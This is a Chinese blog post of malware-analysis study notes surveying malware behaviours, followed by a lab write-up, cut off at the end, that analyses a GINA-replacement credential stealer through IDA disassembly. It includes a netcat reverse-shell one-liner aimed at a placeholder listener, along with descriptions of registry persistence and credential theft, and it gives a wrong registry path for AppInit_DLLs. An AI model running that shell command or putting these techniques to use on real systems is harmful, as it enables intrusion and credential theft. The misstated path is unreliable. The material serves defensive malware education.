当前位置:   article > 正文

恶意代码行为_常见恶意代码列举有哪些

常见恶意代码列举有哪些

知识点

本章中会介绍恶意代码常见的恶意行为,方便我们识别各种各样的恶意程序。

**下载器和启动器:**常见的两种恶意代码是下载器和启动器。下载器从互联网上下载其他的恶意代码,然后在本地系统中运行,通常使用WindowsAPI函数URLDownloadtoFileAWinExec,来下载并运行新的恶意代码。启动器也成为加载器,是一类可执行文件,用来安装立即运行或者将来运行的恶意代码。

**后门:**后门可以让攻击者远程访问一个受害的机器。通常使用80端口的HTTP协议与控制机器进行通信。

**反向Shell:**反向Shell是从受害者主机发起的向攻击者连接,为攻击者提供被感染机器的访问权限,一般有如下反向弹Shell的方式:

  • NetCat:网络瑞士军刀,可以通过命令nc listener_ip 80 -e cmd.exe来弹Shell。
  • Windows反向Shell:使用cmd.exe作为反向Shell,首先创建一个套接字并于远程服务器简历连接。然后绑定这个套接字与cmd.exe的标准流再调用CreateProcess函数用隐藏窗口的方式创建cmd.exe。也可以使用多线程方式:使用CreatPipe来绑定一个通道的读写端,如标准输入标准输出,CreateProcess函数用来绑定一个管道与标准流,而不是直接与套接字绑定。调用CreateProcess方法,恶意代码会产生两个线程,一个用来从标准输入管道读取数据,并向套接字写数据,另外一个用来从一个套接字读数据,并向一个标准管道中写数据。通常这两个线程使用数据编码来混淆数据。

**远程控制工具:**远程控制工具RAT能被用来管理一台或者多台计算机。远程控制工具进场为了特定目标,如窃取信息或者旁路一个网络执行针对性的攻击。

**僵尸网络:**僵尸网络是被感染主机的一个集合。他们由单一实体控制,其目标同行是为了进行DDoS攻击。

**登陆凭证窃密器:**攻击者通常使用以下三种方法进行登陆凭证的窃取:

  • 等待用户登陆以窃取登陆凭证
  • 击键记录器
  • 转储Windows系统中存放的信息,如密码hash值,程序直接使用它或者对它进行离线爆破。

**特殊注册表:**恶意代码编写者可以通过一个名为AppInit_DLL特殊注册表项来让他们的DLL得到加载,此注册表项中的DLL程序回在进程加载User32.dll时被加载,AppInit_DLL位置如下:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
  • 1

恶意代码编写者可以挂钩一个特殊的Winlogon Notify事件,如登陆、注销、关机、锁屏等,这些甚至允许恶意代码再安全模式下加载,以下注册表键中的注册表项包含Notify值:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
  • 1

Windows所有的服务都存在与注册表中,恶意代码经常作为一个服务安装,安装的恶意代码作为svchost.exe的DLL来存活,这使得恶意代码可以与其他进程混淆,更像一个标准的服务。svchost.exe时从动态链接库中运行服务的通用主机进程,Windows操作系统通常用以时刻运行多个svchost.exe实例,每个实例包含一组服务,这些组定义子啊下列的注册表位置:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
  • 1

服务被定义在如下位置:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
  • 1

**特洛伊木马化(Trojanized)系统二进制文件:**此技术可以直接修改系统的二进制文件,当被感染的二进制文件运行或加载时,将会强制运行恶意代码,恶意代码通常修改一个系统文件的函数入口点,使它跳转到恶意代码,这些修改补丁覆盖函数的开始代码或者覆盖其他的一些并不影响特洛伊木马化DLL正常操作的代码,为了不影响二进制文件的正常操作,恶意代码经常被加到一个可执行文件的空节中,插入的代码并不关心他被插入到感染的DLL的位置。加载恶意代码后,为了让DLL的操作与插入前的一致,代码会跳转回原始的DLL程序。

**DLL加载顺序劫持:**这是一种简单而隐蔽的指数,它允许恶意代码编写者再不适用注册表项或者特洛伊二进制文件的前提下创建一个存活的、恶意的DLL程序,这种技术甚至不需要单独的恶意加载器。以下是再Windows XP中加载DLL的默认搜索顺序:

  • 加载应用程序的目录
  • 当前目录
  • 系统目录(使用GetSystemDirectory函数获取的路径)
  • 16位子系统的系统目录
  • Windows目录
  • PATH环境变量中列出的目录

WindowsXP中利用KnownDLL注册表键可以跳过DLL的加载过程,这注册表键保护一些特定的DLL位置列表。DLL加载顺序劫持可以被System32之外的目录中的二进制文件利用,来加载未被KnownDLL保护的DLL程序。由于DLL递归导入的原因,很多DLL会在加载其他的DLL,而这些DLL按照默顺序加载,因此KnownDLL机制也不能得到充分的保护。

**提权:**多数提权攻击时利用本地系统已知漏洞或者0Day漏洞进行攻击。DLL加载顺序劫持也可以被用来进行提权操作,加入恶意DLL所在的目录是用户可写的,并且加载这个DLL的进程在一个高特权级上运行,那么DLL就获得了提权。

**使用SeDebugPrivilege进行提权:**在Windows系统中,访问令牌是一个包含进程安全描述符的对象,安全描述符用来指定拥有者的访问权限,SeDebugPrivilege特权作为一个系统级别调试的工具被创建,默认情况下,SeDebugPrivilege只赋给本地系统账户权限。普通的用户账号不能给自身赋予SeDebugPrivilege权限。

**IAT Hook:**这是一种在用户空间中很常见的Rootkit方法,它隐藏本地系统中的文件、进程以及网络连接,这种Hook方法修改导入地址表(IAT)或者导出地址表(EAT)从而改变程序的执行流程,但是这种方法很容易被检测出来。

**Inline Hook:**这种方法使用过覆盖导入DLL中的API函数的代码来实现的,所以它必须等到DLL被加载后才能执行。IAT Hook知识简单的修改函数指针,但是Inline Hook将修改实际的函数代码。恶意Rootkit通常使用一个跳转指令替换函数的开始代码来执行Inline Hook,这个跳转指令使Rootkit插入的恶意代码获取执行,另外Rootkit还可以通过改变函数的代码来破坏它或者改变它,而不是跳转到恶意代码。

课后练习

Lab11-1

分析恶意代码Lab11-01.exe

问题

1.这个恶意代码项磁盘释放了什么?

通过静态分析,在004010C9位置发现如下代码:

.text:004010B8                 mov     eax, lpType
.text:004010BD                 push    eax             ; lpType
.text:004010BE                 mov     ecx, lpName
.text:004010C4                 push    ecx             ; lpName
.text:004010C5                 mov     edx, [ebp+hModule]
.text:004010C8                 push    edx             ; hModule
.text:004010C9                 call    ds:FindResourceA
.text:004010CF                 mov     [ebp+hResInfo], eax
.text:004010D2                 cmp     [ebp+hResInfo], 0
.text:004010D6                 jnz     short loc_4010DF
.text:004010D8                 xor     eax, eax
.text:004010DA                 jmp     loc_4011BF
.text:004010DF ; ---------------------------------------------------------------------------
.text:004010DF
.text:004010DF loc_4010DF:                             ; CODE XREF: sub_401080+56↑j
.text:004010DF                 mov     eax, [ebp+hResInfo]
.text:004010E2                 push    eax             ; hResInfo
.text:004010E3                 mov     ecx, [ebp+hModule]
.text:004010E6                 push    ecx             ; hModule
.text:004010E7                 call    ds:LoadResource
.text:004010ED                 mov     [ebp+hResData], eax
.text:004010F0                 cmp     [ebp+hResData], 0
.text:004010F4                 jnz     short loc_4010FB
.text:004010F6                 jmp     loc_4011A5
.text:004010FB ; ---------------------------------------------------------------------------
.text:004010FB
.text:004010FB loc_4010FB:                             ; CODE XREF: sub_401080+74↑j
.text:004010FB                 mov     edx, [ebp+hResData]
.text:004010FE                 push    edx             ; hResData
.text:004010FF                 call    ds:LockResource
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

在资源节发现了名为TGAD的节,程序对此节进行了二进制资源的提取。

因此程序在磁盘上释放的文件是从资源节中提取出来的数据存储为msgina32.dll

2.这个恶意代码如何进行驻留?

根据如下代码:

.text:00401004                 push    0               ; lpdwDisposition
.text:00401006                 lea     eax, [ebp+phkResult]
.text:00401009                 push    eax             ; phkResult
.text:0040100A                 push    0               ; lpSecurityAttributes
.text:0040100C                 push    0F003Fh         ; samDesired
.text:00401011                 push    0               ; dwOptions
.text:00401013                 push    0               ; lpClass
.text:00401015                 push    0               ; Reserved
.text:00401017                 push    offset SubKey   ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"...
.text:0040101C                 push    80000002h       ; hKey
.text:00401021                 call    ds:RegCreateKeyExA
.text:00401027                 test    eax, eax
.text:00401029                 jz      short loc_401032
.text:0040102B                 mov     eax, 1
.text:00401030                 jmp     short loc_40107B
.text:00401032                 mov     ecx, [ebp+cbData]
.text:00401035                 push    ecx             ; cbData
.text:00401036                 mov     edx, [ebp+lpData]
.text:00401039                 push    edx             ; lpData
.text:0040103A                 push    1               ; dwType
.text:0040103C                 push    0               ; Reserved
.text:0040103E                 push    offset ValueName ; "GinaDLL"
.text:00401043                 mov     eax, [ebp+phkResult]
.text:00401046                 push    eax             ; hKey
.text:00401047                 call    ds:RegSetValueExA
.text:0040104D                 test    eax, eax
.text:0040104F                 jz      short loc_401062
.text:00401051                 mov     ecx, [ebp+phkResult]
.text:00401054                 push    ecx             ; hObject
.text:00401055                 call    ds:CloseHandle
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

得知恶意代码写入注册表项SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon并设置了值GinaDLL

3.这个恶意代码如何窃取用户登陆凭证?

在msgina32.dll文件的导出函数中发现了大量的以Wlx开头的函数名:

这些函数都会调用函数sub_10001000(),此函数会直接将调用函数的名称用GetProcAddress函数在msgina.dll文件中查找此函数的地址并将执行流程交给目标函数,目标函数执行完成之后又会返回到恶意程序中,msgina32.dll中的大部分Wlx开头的函数都是这个结构,但是在函数WlxLoggedOutSAS中却不一样,在WlxLoggedOutSAS中调用了函数sub_10001570()向文件msutil32.sys存储了用户凭证的数据。

4.这个恶意代码对窃取的证书做了什么处理?

通过查看10001570处代码找到程序将窃取的证书存储在了一个名为msutil32.sys的文件中。

5.如何在你的测试环境让这个恶意代码获得用户登陆凭证?

函数WlxLoggedOutSAS的调用发生在用户注销时,因此我们注销重启后就能看到用户登陆凭证。

Lab11-2

分析恶意代码Lab11-02.dll。假设一个名为Lab11-02.ini的可疑文件与这个恶意代码一同被发现。

问题

1.这个恶意DLL导出了什么?

这个DLL有两个导出函数:

Name	Address	Ordinal
installer	1000158B	1
DllEntryPoint	100017E9	[main entry]
  • 1
  • 2
  • 3

2.使用rundll32.ex

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/45431
推荐阅读
相关标签
  

闽ICP备14008679号